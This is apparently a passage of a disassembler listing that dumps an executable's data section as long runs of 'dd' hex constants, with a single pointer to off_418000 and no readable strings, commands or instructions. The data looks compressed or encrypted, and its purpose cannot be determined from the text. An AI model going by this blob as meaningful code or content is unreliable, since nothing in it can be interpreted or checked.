291A0C45h, 0B5496AADh dd 611D8296h, 27016DE3h, 130B278Ah, 5CDB960Ch, 40C9AD32h dd 0A54D522Ah, 0BC020C29h, 0CB896804h, 71145AB8h, 0A59DA953h dd 8A531CE4h, 0EEAC0AEEh, 0F4C6505Ch, 6A6588B2h, 0A81D86C3h dd 0C62E0954h, 60E82D67h, 0FCBA830h, 30E047C6h, 0A6206983h dd 5025274Bh, 1A40514Dh, 5AD0B0D9h, 0DC9CB2F0h, 151D0A1Dh dd 0A1A9C396h, 0CB800C53h, 0AEAD6A0Bh, 0C58C172Ah, 0B531DC67h dd 44E4C04Eh, 0A23C6E9h, 4B26A5F1h, 0D203A79Ah, 59B742F7h dd 510DEC82h, 537A01D8h, 0C2178911h, 0E2982F56h, 2C4F6021h dd 29E6C10Eh, 9C47F20h, 0A4DD3309h, 673466D4h, 0B6638A4h dd 6D9C955Bh, 9AD40A68h, 142A966Dh, 2E9521F1h, 0B082C2C4h dd 0A29DB37Bh, 472CC2Ch, 565BAA4h, 0F0096FB6h, 85061532h dd 836359C0h, 70506288h, 404A512Ah, 0C52A1496h, 0D6520F01h dd 0A9DA04A0h, 90D22C1Eh, 28F503E1h, 0FA428CC2h, 8CEA6F55h dd 9705349Ah, 0D284D00Ch, 16382DF6h, 123C5053h, 59F40591h dd 2822A943h, 2C7128A2h, 51559311h, 6506872Bh, 0C13138Eh dd 78188E3h, 0A9402555h, 0A0D14AD6h, 15880A94h, 9C8B471h dd 2234F39h, 45A0D56Ah, 8D08A300h, 0EEFE1122h, 2 dup(0) dd offset off_418000 dd 6000434Ah, 0 dd 30140000h, 0C01120E6h, 14481235h, 3BFFA025h, 0C6DF01B6h dd 0DEF8212Eh, 6CAE25FDh, 0DEC6B59Bh, 0F7FE8769h, 5F2B1CE2h dd 0D8EF3A9Dh, 7CC729D3h, 0AAE271FAh, 0A76C777Dh, 0F7A7448h dd 0CEDE7127h, 0B7D8B37Bh, 613B53BBh, 5EBF1CDDh, 7EC3C4F2h dd 7FA1FF47h, 3E788EDEh, 0C76ED50h, 0D416F059h, 57DF9F0Bh dd 0D1D30F0Fh, 94CA8935h, 70F2730Dh, 0A757E18Fh, 8F1F98FEh dd 0A073DC45h, 0A4BE634h, 564109A4h, 0DD25752Eh, 498B62B7h dd 0D6EB1739h, 0BDA43183h, 0B1F2217Bh, 76CF5A0h, 2CEAB723h dd 34EBE602h, 1C6212E2h, 1C18784Dh, 40684D66h, 0A4A5DE3h dd 0EA125008h, 96B3010Ch, 905391E0h, 7817CA1Ah, 0CACA2D21h dd 0A88342E6h, 1D8893A6h, 0B4DBF588h, 8916A54Bh, 60240902h dd 3B6D4D9Bh, 65BC0A14h, 5C2E925Dh, 197B1390h, 5A2C56FBh dd 74349878h, 10062021h, 1B027ADAh, 0B628070h, 70AD01ABh dd 61020785h, 0B04DCACBh, 0B0B64260h, 4B85B700h, 2204B18Ah dd 205084CBh, 168168B7h, 41263Fh, 5ACD9C14h, 0A12BB1DDh dd 2D238C05h, 850991h, 784C0D85h, 33464ACAh, 29C201F0h dd 0B81972D0h, 203036Fh, 5A6EB735h, 0A0A380A4h, 0A116C3B0h dd 565D8356h, 1E58066h, 1BAB32B3h, 99A5CC2Eh, 4BC11852h dd 943C4BA1h, 0C51B744Ch, 85887995h, 41813665h, 32E8DDECh dd 72DE5368h, 0A552C418h, 1ABCEDAh, 0A482E4DDh, 92D73287h dd 0D1DE59h, 814B2C61h, 6C3D6290h, 9ED92350h, 8C06B646h dd 24118CF8h, 71828943h, 4028145Ah, 6458D220h, 6202B111h dd 0DE19500h, 0D280DC88h, 8295EA09h, 0A2421094h, 0BC45CAC4h dd 9D5F8DE3h, 4F81BC19h, 413A0015h, 14B4101h, 13A15B4Ch dd 0A97C3B77h, 0E0298CBAh, 0E148C31h, 52410343h, 0CA907A2Dh dd 40802F68h, 0C6BA6095h, 0DF70066h, 789C016h, 1BD1ACD4h dd 0F4E46622h, 0B8C1E58Ah, 0E123667h, 279A5E13h, 3C41ECA6h dd 0B0A2BDDCh, 28C55AD4h, 65F81BF2h, 0B98C0EDAh, 7CB2D696h dd 0A5A228CCh, 5922CB2Ch, 0C84A979Ah, 9603C796h, 0B76C5ADh dd 0CC0A133Eh, 7374805Ch, 32F239BEh, 0E01AB44Eh, 0B0E13491h dd 95E09D20h, 0D78A7400h, 60492374h, 14079E62h, 0ECE3BBC7h dd 0C6AB0DA0h, 0A1E827D8h, 85D55B5Ch, 2C44749Fh, 7CF6787Ch dd 0F31128C2h, 101095F5h, 8DC51B2Bh, 741D6178h, 973B8008h dd 1C9C60D1h, 360C0C30h, 0D41853CCh, 0A318B7E8h, 5D25A106h dd 0BBC5EFEh, 443B9B17h, 0E0231737h, 0D88A0C73h, 2C773383h dd 0B12F562Fh, 3C62A0E1h, 0A3ABA049h, 0A975800Bh, 4D7692B1h dd 9851E475h, 0A90551B9h, 6AA30211h, 0EB41201Eh, 79C38BD4h dd 381EA66Fh, 0A2C74D53h, 0E33281C0h, 0A1CA7093h, 967457CFh dd 5AC4D819h, 0C1D833AFh, 0B825998h, 848A01CBh, 9888C049h dd 4A7661A2h, 85A0A69Eh, 8A642229h, 0D9989DA6h, 6067A298h dd 60D138FAh, 0DBA05CA2h, 0FD02272Ah, 0D1223138h, 634422C8h dd 78DA4E12h, 0F62E9EADh, 4D0D4DB4h, 0FCEDC619h, 30454C9Ch dd 0D32FF11Ch, 2CB98414h, 5D208273h, 0AE45AD6Ch, 2602682Fh dd 300B8716h, 0E0E10700h, 0EFB00A6Ah, 22806662h, 0AB5FCB31h dd 0CA84E860h, 0C94D9AC4h, 0CF640616h, 0E607A11Ch, 950470Ah dd 8D2D463Eh, 3F18A11Ah, 0B4945C36h, 0CE1A83B0h, 38712B32h dd 28D311D6h, 590EA580h, 0CE9A2460h, 9034B7C0h, 793C142Fh dd 784C047Dh, 50B6089Fh, 37DCF22Ah, 6A493806h, 9955049Ch dd 8B78441Ah, 4BBB6402h, 0C1F65CF9h, 0B6127F04h, 6455D64h dd 0B4352350h, 7C0E2C83h, 2541AC40h, 0AE070507h, 0E8492024h dd 916D0188h, 0B600D980h, 0E560092h, 37616EDEh, 3F070F0h dd 0B6BBB696h, 55F93161h, 0CF23DCE6h, 0FA89940h, 683E57A7h dd 99559B1Dh, 7A825B48h, 4918D861h, 14F09860h, 0B70BB566h dd 0B0D8292Dh, 752390C3h, 200C50D3h, 31A75DC1h, 0E559750h dd 0A0B234C4h, 2ADF3B1Dh, 0D6B4D2F5h, 0E1696209h, 6CCA830Ah dd 19B4A15Dh, 282BC205h, 529F222Ch, 0AA77FB5h, 83A54461h dd 0C2DA68B0h, 56E61562h, 7EC1C215h, 9DB11780h, 96188510h dd 6AA98619h, 0E28B0C54h, 68142A0Eh, 1011584h, 5D160650h dd 2F4A70F3h, 53631385h, 9B663240h, 9A9202CAh, 165C6504h dd 0AE028052h, 0A592D014h, 0E32486D6h, 755A5B18h, 2C813A2h dd 538C9A9Ah, 75714013h, 0D8245600h, 56C81340h, 3CD6E67Ch dd 0D95BA9FAh, 51C807C5h, 97A9A23Ah, 0BD3109CDh, 23952C43h dd 33DA2533h, 87A1C8F0h, 6C36BCC6h, 464CADDFh, 25C0D8F7h dd 68F098CCh, 70542139h, 0E758ACDAh, 691910E6h, 0C062030h dd 44A6A1C3h, 0C28B8467h, 43C52082h, 60844E98h, 0E4166946h dd 0BDCBA651h, 60A6B65h, 22B222E4h, 72B61F4Fh, 81248889h dd 467BBDFCh, 6916C30Dh, 2452E453h, 0DECCC0C5h, 6145A0BDh dd 6C014018h, 44DE80F9h, 26A74879h, 76383979h, 9984216Dh dd 6660C28Eh, 0E9B0B9E2h, 668952E6h, 0A2C7BC09h, 0E9D28263h dd 431B0064h, 4CABA118h, 44043298h, 48A50882h, 19060A3h dd 29A9A96Eh, 0AA751053h, 0A18D943Ah, 50024913h, 8B16C33h dd 12AA3986h, 4A400959h, 4BE92534h, 0C8029D0Ch, 0B7898C43h dd 0C4253D04h, 0B8C16712h, 29226C4Ah, 0BE181531h, 58055104h dd 0FEA7B2A4h, 89D035F8h, 9B0C0BE5h, 0E15CF637h, 0F92BEF4h dd 0F2E22F7Fh, 1DD133F5h, 41E2B45Dh, 0FE077D60h, 0BCEDF07Ch dd 0BA6DC72Bh, 268FF9BEh, 0EE7DB31Ah, 0FE562DC7h, 0B0F9333Ah dd 98EE87FFh, 8DF0EDF6h, 73FBA643h, 0C761E8FAh, 62749EFEh dd 961D8DDBh, 1E2B79EEh, 0D9E78A2Ch, 0B638A1C3h, 5BB1F6DDh dd 62774C8Eh, 6FA3DFEAh, 7B14190Dh, 0FDE67608h, 0E52BBE39h dd 69B07B37h, 7F1B80C1h, 0F6B17D4Ch, 50EEEDC0h, 9B5C677Ch dd 0A9F2B3C2h, 73D87F67h, 0AB49C6EFh, 0E7326FAEh, 0FC5E94D3h dd 37A225B1h, 261AFABh, 6347E931h, 0C571842h, 0AFFABA3Fh dd 0EC28BBFFh, 6F07EC34h, 0F5659954h, 7A356F61h, 325C870Ah dd 4C3EDBF4h, 0F963628h, 0CC6579BAh, 0C7F32357h, 0E87A0503h dd 0E984F2CEh, 77990D30h, 0DB83FFEEh, 77BA5FAEh, 73F492C5h dd 11CC7FCCh, 0BFF360C4h, 0F8DA4F43h, 0B421EA6Ah, 0F9E3D610h dd 0DD6F01D5h, 0A181BDDEh, 0F1318B50h, 0F777F5D2h, 0CF73992Eh dd 3DDEF1DAh, 0C49634FFh, 0C5508310h, 5E57072Bh, 0F732F36Dh dd 0B127ADC3h, 1ED6276Bh, 0ABF2BA3Fh, 58F277B7h, 865FEB37h dd 25EF9D7Fh, 0E3FA25DFh, 0BD0EC99Ch, 94EA387Bh, 63B23779h dd 8A6931C2h, 6E2BBC4Eh, 56CB3A76h, 5B158042h, 6B9A78B8h dd 3B662E82h, 0DED43953h, 0DB4DBA5Dh, 0DB982B94h, 0AB9B8CB9h dd 16071C9Bh, 0EEB7B73Ah, 39740CD0h, 81D72060h, 0E3CAAB05h dd 0D00F1C4Ah, 79F6060h, 50D8D8EDh, 0C8760C42h, 0E84E54EAh dd 2618D84Eh, 6B2C367h, 6758070h, 4A33097Dh, 21B4801h dd 9B33B20Ah, 0E0E40596h, 2CF6A548h, 64630685h, 685CF5ECh dd 2B0B9782h, 168125D6h, 1298DD71h, 3761E905h, 0BCC948A9h dd 757B0AE4h, 0CB0BC20Bh, 0B9796012h, 0B8FCE4B4h, 0CEB68A9Fh dd 0B595FBE0h, 547B7163h, 84975583h, 52B78D9Ch, 3C78A1CBh dd 81BEAA3Fh, 0B8A1A869h, 3B8FA867h, 0F73CA4C4h, 0C0688CB1h dd 95EC125Ch, 0C574471Fh, 62A2E7BFh, 0CFEF6B26h, 9DF681E9h dd 5BF6399Ah, 8582F4B6h, 9F607D67h, 87E14BF3h, 794DC30Dh dd 87137776h, 0EC755F29h dd 0FF070B89h, 531FE39h, 1D5F7D4Dh, 41908B3Eh, 0F67F8627h dd 8614D5FFh, 0E824DCD1h, 23983D07h, 94F17680h, 3DCF4AA8h dd 0D89E2F26h, 0E39545B0h, 0BCDF077Bh, 0FB3DD7F6h, 0F2307DFEh dd 0C77FA6ECh, 0D0F478EEh, 86776799h, 0C8F6FCE0h, 2CDEAB8Dh dd 0EFF37B9Fh, 0E7B6A8BEh, 0E37B9DEh, 61ED3D8Eh, 0FBFA2CB3h dd 0EC66EAEDh, 9D3D0FF9h, 0F6CF6761h, 191E95C1h, 43F3FE79h dd 0D8635697h, 0BE57F11Ah, 0FE16D16Ch, 7F3B33D7h, 0EB2DD5F3h dd 0F4B1ED3Eh, 7073B2ECh, 2FE2B8B6h, 0FB18CFA3h, 307EA6Ch dd 0F23F2E9Eh, 868381D4h, 0EB78393Fh, 7EDFD5B6h, 0D3D679FDh dd 78BD2F1Fh, 75EA70BCh, 0CD624E87h, 5E96E46Dh, 0D7F7AFDh dd 0FEDE7DB5h, 0DADC3763h, 79FDFF73h, 3B33935Ah, 65D45780h dd 87D1D3F9h, 0F4192453h, 581FD967h, 8C291D53h, 20A1CCC1h dd 5743EC3Eh, 7D71FED6h, 0A6E4D9D2h, 21AF5BCCh, 0F4BCD743h dd 7C5F39C3h, 0F60306Bh, 51200DB6h, 0F37B9996h, 6D43EE7Fh dd 0D835C06Ch, 5A9A6997h, 45606395h, 5A558501h, 3AB08490h dd 0A9CE9996h, 23CBB14Fh, 0EC808AADh, 5D802EACh, 2E004B0Bh dd 38BFEC9h, 163BC048h, 3A851260h, 0B76C2C94h, 4DA45674h dd 52A5C269h, 0CE985E81h, 52F661B6h, 3A24B28h, 949A0BC9h dd 6D3A0C10h, 58DD85DAh, 0D0657C9Ah, 0C69856E0h, 7965B6CAh dd 3F1F52C3h, 0CAF04EB4h, 41660C1Fh, 0BDD70975h, 0B1ECA40h dd 8B58D6EBh, 0CE38B327h, 12E08C21h, 741A8B81h, 0BD08A616h dd 141A4A9Ah, 0AE028469h, 0E1729512h, 198A145Ah, 0FA1D953Ah dd 0C504BB1h, 2E565077h, 1BB5DE12h, 929C1B63h, 5640716Eh dd 0C8E9BDB2h, 0D115E08Ch, 440C299Ah, 536862A0h, 67018922h dd 219A84Eh, 0EB7C2354h, 0FA4AA16h, 244282A6h, 622B67EEh dd 3A1698A3h, 48B5CB2Ah, 0F2AD1771h, 90E5A903h, 3EAA28CDh dd 0C2039B6h, 0EA945E6Eh, 0BC5DB288h, 46166B48h, 2F8DDE30h dd 0EF2C5298h, 0C5709458h, 0CA982792h, 432ACC05h, 2B559831h dd 586ACE2Dh, 24F79C98h, 0C45E5435h, 8A83E5EAh, 0A87ECC00h dd 0A46876B0h, 530F59ECh, 20014DE3h, 0EE235394h, 5AD47179h dd 0E51455B7h, 5361B2Eh, 0AB8F0445h, 4B7BA0CEh, 81F12415h dd 2F34DE44h, 0B3E61CBBh, 60B9065Eh, 58ECB318h, 8B28DC0Bh dd 2DBAAC2Fh, 0D116A81Ch, 8BB4A3DEh, 73D71059h, 0A2390829h dd 6D9225D5h, 3A46A94Bh, 5AA8D373h, 167C65Eh, 5599AE03h dd 0A1C2C094h, 0D95C2BC2h, 0C6880215h, 0A5B7E480h, 611BD308h dd 460C458h, 1AB33B60h, 1E02A4B1h, 640AAC5h, 0D18E4850h dd 0B1A4BC2Eh, 1AA35844h, 32ED40C6h, 0FE3A8FC9h, 92328738h dd 0A2F2912h, 3A5BA6C7h, 5C409E0Ah, 0AE7FB5CDh, 8DE052F0h dd 0DE69E338h, 2CE91754h, 244B7310h, 18DD9FB0h, 0A223D825h dd 9CFD274Bh, 0D7652F8Ah, 0C0049C2Ah, 0E9BD9F2h, 1FCB0A4Dh dd 9A21505Fh, 0C71171B6h, 54C04D09h, 1CA40012h, 918A9CBAh dd 8B6DE987h, 79E41401h, 3CA7CD81h, 0E8F4D50Ah, 964A8C59h dd 0CD2E4331h, 292957CFh, 90565CEh, 5EE13C09h, 5BEE26C6h dd 0D5C43B6h, 0BB286729h, 0CCB1C086h, 2095455h, 47C4FA11h dd 5B6A54E2h, 3E809810h, 0B9AD972Eh, 0B98EE555h, 33835C2Ch dd 3607C0Bh, 0E803AB3Ch, 0EAD9E850h, 0B85809F1h, 6030F028h dd 0EC05DFA9h, 0FD7438E0h, 58AE8054h, 89259D8h, 0F9B08884h dd 9AE3CF88h, 12F6D349h, 0E576A695h, 76685B95h, 5717FAD9h dd 0B8B11D42h, 2A236796h, 4063E8Eh, 0D8EC1EEEh, 9AFE571Dh dd 0FDF0FBBAh, 8B2A6687h, 0C925DEE7h, 22CC7432h, 73548D67h dd 52B4B741h, 6E2B2260h, 8373AD20h, 0C11E3020h, 47ED8996h dd 618DF065h, 0D09851E2h, 0F0551DE1h, 0AC557B6Eh, 0CC5DC4CEh dd 46149820h, 0CA6A7050h, 0F39449CCh, 48B04D13h, 3CB6F5CBh dd 14ED0F72h, 130AB971h, 2229C1D8h, 267E5959h, 0F90A58A4h dd 2896361Dh, 0AE5128EBh, 72B3B56Bh, 9A51E02h, 0A039338Fh dd 0C4C46D5Bh, 12663252h, 45996630h, 4197304Fh, 0A5CB9105h dd 0FE45AEAEh, 521D938Eh, 5654A416h, 370B675Ah, 0B595E92Dh dd 4235B4D0h, 0A610D64Bh, 0C34B4B41h, 5C666751h, 68E84A82h dd 0C8015CC0h, 0B43F888Ah, 6F4D444Dh, 976D4942h, 539D18E1h dd 6958C29Dh, 58A13A4Ch, 0C7028C45h, 95469638h, 477C1963h dd 564544E5h, 59E63374h, 0E518149Ah, 98669E65h, 6247D395h dd 0B4F12354h, 9DB58EA3h, 0F2214987h, 78471AC6h, 6186776h dd 0BFB76514h, 3D1316C7h, 0C18B6F4Dh, 0CC106DC2h, 0D9564227h dd 0C4BD7E25h, 1CDF206Bh, 63859408h, 0D0E5B159h, 162F2862h dd 4A0A98BCh, 868B8CF3h, 55694117h, 2B22C286h, 9A6EA9AAh dd 832F9862h, 4C9B4B86h, 4C181165h, 6B30FB25h, 0F4559B09h dd 0B513178Ah, 0A6D38832h, 554760C6h, 1989E894h, 7F7FBA61h dd 834630A3h, 54E79EBEh, 0D56E6944h, 245CA416h, 0E460E14Fh dd 954C1567h, 6288AB9h, 7D9B3E19h, 0A31D6D86h, 2E150987h dd 2B190545h, 14355614h, 52AAECB3h, 0E3EF4283h, 0B11B0E95h dd 0CA520F45h, 3B8F260Ch, 1874F83Ah, 59F96850h, 6C149124h dd 6D842145h, 0E4027E44h, 2B1676BAh, 1598DA0Ch, 9CA834C3h dd 0DB4360C6h, 0CBB1B454h, 0C6A749C5h, 9A52A61h, 0F581CFF2h dd 8AA4E277h, 197BA29Fh, 0AC294186h, 0A4A62AA0h, 95312C23h dd 2B0AABC1h, 0DA68E296h, 2857C0E4h, 836BA4D2h, 99F2135Bh dd 7EE2C76Dh, 0CB3D9374h, 7A16095Ah, 663C5829h, 63C5E64h dd 0F10697B6h, 3F66FAF6h, 9D0377ADh, 48B07053h, 9C5CD7D4h dd 0F3460BDDh, 930632ACh, 652395E8h, 7034677Bh, 906C473Ch dd 350652F1h, 313D8729h, 0B1997C72h, 54186183h, 0F993E5C9h dd 753E5A37h, 0B9D3063h, 33E2E8B6h, 64F93DDDh, 82C293A8h dd 74D28416h, 2503AE92h, 1E5673F2h, 73984D3Fh, 5498AC72h dd 0EB92B844h, 8BA3DBBFh, 0C32A229Dh, 70A81464h, 54B4C4F9h dd 58AE3041h, 14402D4Eh, 28D6A597h, 2F4726B9h, 1D6C28AEh dd 0C8968FF1h, 755924B8h, 8146BA9h, 0B65EE1AEh, 71E3B295h dd 0CC5465CCh, 0AF12BDB0h, 0A54F9613h, 69CA350Ah, 204CA5D1h dd 0C3060E60h, 84EDCC81h, 0DF9519A6h, 0B19FBEBFh, 0D757F476h dd 0FEF97C86h, 170FF3EAh, 804BBEAEh, 0D1B58873h, 56ECC057h dd 0CF78D6FFh, 0CF02538Fh, 6E8D514Eh, 9B64B922h, 14D02634h dd 7F6E0584h, 9F5697Eh, 31F8D6CBh, 0CFFC2F0h, 0D43A1D7Eh dd 0CDFBA777h, 81344B57h, 876561D8h, 3DDBD8FEh, 33995428h dd 0FBEAAFF9h, 0B1D48D0Eh, 9CADC309h, 0F6AAFC7Ch, 0DFECDE73h dd 13B48F8Ah, 0EF4BEEBFh, 0D66A6950h, 0BFCEBDE9h, 0B0A2F99Bh dd 9A33C77Ah, 0F8C0D1C5h, 0CF53F3EAh, 4D2CD34Fh, 94E1DB03h dd 5666D319h, 5BB66A92h, 6E17C362h, 0F4FCB95Eh, 0D24645ACh dd 2165824h, 0EACC2C54h, 91922C49h, 94AD9A1Fh, 6DF10D1Bh dd 0B2B14ACh, 0A5DCCA81h, 0CB4ED92Ch, 0F69AAA63h, 6A756DB0h dd 4B785121h, 61622687h, 0DB1DC6F4h, 0AE36CC78h, 0A4203705h dd 44905C40h, 549A2D40h, 0A747542Ah, 9D3BB536h, 0EC0479AAh dd 0D4273EA4h, 63216793h, 5245C880h, 6C0848A2h, 0CFD16FD2h dd 459F266Ch, 8831F806h, 0B19BA158h, 0DEC0BE42h, 5E8DB2E8h dd 599CA775h, 92634232h, 5029C9ECh, 33853601h, 2A2A0609h dd 7CAAC4A5h, 0E9F0AA5Ah, 0C009DDA4h, 23EF1326h, 2203702h dd 136E160h, 2E4A1175h dd 0ABC30C17h, 0ED553838h, 0C8BA52E2h, 0A183A752h, 950AC9B2h dd 909F3663h, 0F5450D4Ch, 283153A9h, 1D06068Ah, 94B6916Fh dd 8EC40966h, 0A231AB72h, 7318C3E7h, 6E846703h, 4A982C16h dd 82BB2031h, 99BB180h, 40305B01h, 12996D0Ah, 93493950h dd 0A61AAE7Fh, 2CA9ACC5h, 0CD18914Fh, 78B4D88Ah, 12985257h dd 14B69198h, 5D55B086h, 4083A9BCh, 0B26E3D18h, 48882091h dd 152CD88h, 8226EA54h, 4B428E59h, 6801B09Fh, 0D65A6ABh dd 0B239C2D4h, 2ED3B392h, 0D9D68048h, 831D1974h, 0F16ACD18h dd 6560A59h, 3A92741Fh, 9D3150E8h, 60CE90D6h, 54F72A19h dd 1AAA0615h, 0F8E38884h, 3154750Dh, 12305430h, 8D20CB4h dd 0A2A240DAh, 0A8658B2h, 6A3D9315h, 4A751894h, 94A2293h dd 612A8945h, 0B55E8544h, 0AD3B955Ah, 9ED1B159h, 5AED5F35h dd 35B969B5h, 0B06F8DE8h, 77BC7158h, 4A0792EDh, 9A865E6Fh dd 84E29329h, 97BF029Eh, 5CDD732Bh, 965C88Bh, 0A5438F8h dd 7551AAB7h, 6F8CAC37h, 6DA9855h, 0AE0B5F09h, 0F602963Dh dd 2F3E484h, 94574C15h, 286D87F5h, 0FC31FCh, 5DC0008Bh dd 237F2EFh, 0D26F16ECh, 3E4B54B8h, 0E406995Bh, 0A7E4E456h dd 0C503363Eh, 0EA20AF0Eh, 0B214BADCh, 9FBB21B8h, 0AC1FB8A2h dd 0BBFBDEACh, 4BE5AB3Ah, 0DB3363D9h, 0FF4A72ADh, 0DE24898Fh dd 752CEE22h, 57FE6678h, 0A95AD81Eh, 8E6C1F42h, 5ADA055h dd 0FB89BA79h, 3B4A5D3Dh, 0B5F70D7Bh, 679C5FEh, 0C2485F50h dd 49AAFFE4h, 0D2831280h, 0DF413D26h, 3022A8B7h, 932FBEh dd 4E233542h, 5235423h, 0C4125469h, 8DFD0B81h, 5899A400h dd 50A82E84h, 1A97369Ch, 0E5104E8h, 95DCB80Ch, 0D71C9120h dd 73FE462Bh, 195CE4C4h, 60818841h, 0D4AC4291h, 39041161h dd 66811A7h, 0DC0113h, 0F6FEC088h, 64BDCF07h, 37A0240h dd 0E5445234h, 50400BA1h, 2840323Ch, 49586183h, 28B6B4CAh dd 0C2E1FEF3h, 5D254A4Eh, 9582DDD7h, 61C6996Eh, 8C09BD0Dh dd 1080B801h, 60322BE0h, 52AA3099h, 23A6DF12h, 906B6F3Ah dd 2FA4B511h, 69B4EDD7h, 98D3014h, 0F0D61A95h, 26A3121Bh dd 2360AE42h, 12A6E90Bh, 0F5751C10h, 44DED169h, 206A439Bh dd 4C011F4Eh, 0C314002Eh, 0A0214650h, 5E410620h, 18BCC00h dd 134C1644h, 4F85B0CDh, 0A39A241Dh, 292AEE24h, 5B946C9h dd 0B5700661h, 4AC26747h, 93ED14F3h, 0AD4F0F69h, 0F0E9227Dh dd 46B0B549h, 0EA0C5800h, 0BC3A9641h, 16D7BB6h, 9539D19h dd 890787AAh, 48A2F6D8h, 252FC01h, 2CCEF33h, 9811269h dd 0D107A771h, 2F113526h, 5A320A17h, 5C3B9863h, 993AC38Ah dd 23A9198Ch, 0AAFB7F4Ah, 99119EEFh, 0C3602041h, 798098B2h dd 50E214E8h, 6060548Ch, 85388047h, 0ED1D494Fh, 0CC0F09F4h dd 3C01C14h, 34AC162Fh, 8E2A43BDh, 0BD61C92Fh, 0C9A8A16Fh dd 792604Dh, 0B818DD0Fh, 0A86B8C05h, 825FFB1Dh, 0C6811234h dd 38590C60h, 861AB047h, 0CA24CC80h, 128701A5h, 90336B5Ah dd 91811152h, 6088B85h, 0E86C27D2h, 4323EAE3h, 998A8045h dd 0CC8C2401h, 0D48C86D4h, 580BD08Ch, 2C84D80Ch, 6C6C507Ch dd 0BC386DE4h, 53C4F0F3h, 83E7D2D0h, 518C4AA1h, 6E00014Ah dd 81C63A04h, 68B03D10h, 6260205Ch, 8E212E67h, 1B0A2155h dd 0E5F2984Ah, 27A2AE57h, 9F00E782h, 959F1622h, 2FBCD6E2h dd 1A3CA6C7h, 7CABF88Eh, 0BCF2E6A5h, 0AA4BD11h, 0B25AA730h dd 0EDD4148Bh, 0D7C6D58Bh, 2E349503h, 73A1A3EFh, 0B192ED3Ch dd 499DB5CBh, 51CEE425h, 452D9440h, 4B2D0E6Ah, 0E4011C8h dd 71D272C7h, 249F5882h, 83F4C5D1h, 580CC82Fh, 387E250h dd 5E4728B3h, 2719FF60h, 0F047D710h, 8090B62h, 52B1998h dd 0EF459361h, 7F9D845Dh, 0A878A473h, 0B182DFD6h, 102867EEh dd 0D8503595h, 0C7E85928h, 5FFD4182h, 42B90FF8h, 60D74E9Bh dd 3CFF0154h, 7EC421B2h, 4287FF80h, 516AD6E5h, 7D4A20A7h dd 0E017957Ah, 0A0D396E9h, 0A170A394h, 0A6004CAEh, 0BD0C0Eh dd 0E5DA6C03h, 216DE22h, 42D7063Ah, 1E4CBB39h, 1B085B80h dd 4242E5D3h, 57B450D3h, 8D026558h, 17AA6633h, 90A4E016h dd 0FB34801h, 68C4C00Bh, 41D18DA4h, 2218B9A3h, 14C5794Ah dd 0A5A96024h, 218C2230h, 0DC5FF47Dh, 0A6EE05A5h, 21D904C2h dd 23C02C8Eh, 0B2C07C14h, 5B96A4B2h, 0BBB9204Ah, 60EA924Bh dd 2C0AF007h, 9CAD4C00h, 26A09A34h, 9CCEA031h, 6ED33C4Bh dd 42244601h, 0A47A567Bh, 67D1089Dh, 0C3F9AE8Bh, 4A8E681Bh dd 11E4662h, 4811C115h, 24208300h, 0AC474400h, 469EA2B8h dd 86068290h, 0BD7C4688h, 98E4336Ah, 3092BC94h, 167AA35Fh dd 2FB5DD22h, 12EA9B71h, 50B371B8h, 3C659AC1h, 8ADC58B3h dd 5321AFA9h, 9B18C31h, 31511102h, 38D19C2h, 41E3E398h dd 49FA248Dh, 0EB20E400h, 91D22114h, 8221C968h, 0C19011DCh dd 7A984005h, 0ECFCEF12h, 0ADA07E8Eh, 650105EAh, 81C46E16h dd 2D8DC5CCh, 0EA5C5A31h, 1E7CB52Ch, 738388DCh, 4D6A5001h dd 44F26525h, 61C582F0h, 0A2545A1Eh, 0C3232A80h, 0C1705B64h dd 63515908h, 0C7A1A836h, 0A5B85CD4h, 9A691E80h, 46673C4Ch dd 8F426A94h, 0D41130CDh, 0FB32239Bh, 7A00E053h, 0E8D4EFAAh dd 44D2433h, 17019F96h, 14D80431h, 0E22841A9h, 0D3099B45h dd 0F523C1CCh, 98218832h, 4A027B13h, 7CB832B1h, 61468A0Dh dd 1911197Ah, 174B08DDh, 26475185h, 0D37AC616h, 0B3F0575Bh dd 2F505580h, 6889B445h, 1CB151D9h, 668F4142h, 822A2338h dd 8027ED0h, 0C99F41A0h, 5B4B391Dh, 0C3257414h, 2801A40Bh dd 6A630C90h, 2439AD8h, 406E0420h, 285CFB0Ah, 90F44620h dd 5201130h, 83C25C05h, 0D02414CAh, 6804900Bh, 4C6040E6h dd 6A14B619h, 0C64414CDh, 45D17055h, 0BD915461h, 0FFC8F941h dd 4067C83Fh, 0ADD4BC8Bh, 85779128h, 0B50A0423h, 0E81558ADh dd 9344A11Eh, 18303814h, 0C221C8A9h, 0E2881846h, 64A1BAC8h dd 10DBC2C5h, 0D1BDE032h, 8A099800h, 32B22FB9h, 0FD3A232Dh dd 3204E2AEh, 0A4A4720h, 0FFADF371h, 0F42B8D04h, 49584790h dd 2B1D8009h, 56389092h, 1E563D5Ch, 0D23B5990h, 505F38D0h dd 0BAE89091h, 187FA50Ah, 9F32D62Bh, 22DDA722h, 2BC5A5DCh dd 0BFB73351h, 10346A8Fh, 0D9917871h, 1532F681h, 23B3C502h dd 8E011034h, 0C0AAC175h, 4A052413h, 49D244E9h, 0CA8212ADh dd 14B23375h, 91C58BC5h, 8201B132h, 8C8660ECh, 0C23C1C7Ch dd 8CD385E8h, 9D65F5h, 17390438h, 0B41377A5h, 9B9C6D23h dd 1C9B94D5h, 822880Ah, 8356E258h, 369F2E02h, 89962987h dd 9B3B6020h, 468A8329h, 13049607h, 0A8F99158h, 117A38F4h dd 0A0D510E0h, 1878CB30h, 32F64B42h, 0E7B68519h, 93E147AAh dd 2ACE832Ch, 5ED5A4DDh, 5BF88367h, 0D5A711C4h, 72B4A8BEh dd 6184C245h, 0D2CC8D2Fh, 847A7C00h, 0C4519B97h, 8962209Ah dd 1AF35226h, 4DBD76FCh, 5E132CA4h, 0B845A0AEh, 22AD6329h dd 67F13CA0h, 73A40A7h, 0B4A8B3DDh, 0A610238Fh, 5ED0A4Fh dd 464158DCh, 2C080F48h, 0BD7A93Fh, 40A93C3h, 0A5349E35h dd 11460D48h, 0E292DA2Fh, 9B110E60h, 0B8081944h, 16C47DBCh dd 322AAA4Bh, 0EE78C494h, 0D340645Fh, 0C053D87Ch, 87E660h dd 9D73B2EBh, 9641815Eh, 5C2080C1h, 0F15B806Fh, 8215042Ch dd 0FA91D5D9h, 620BD195h dd 8A1A4FA2h, 5E67300Eh, 48FA2AEAh, 411D9012h, 0E8343482h dd 33F1BF36h, 0BC5FBA5Dh, 0B07A2043h, 0BA9F5820h, 0F87EE075h dd 3C080FD1h, 3D85426h, 0CCF424D2h, 0A01A856h, 4360A051h 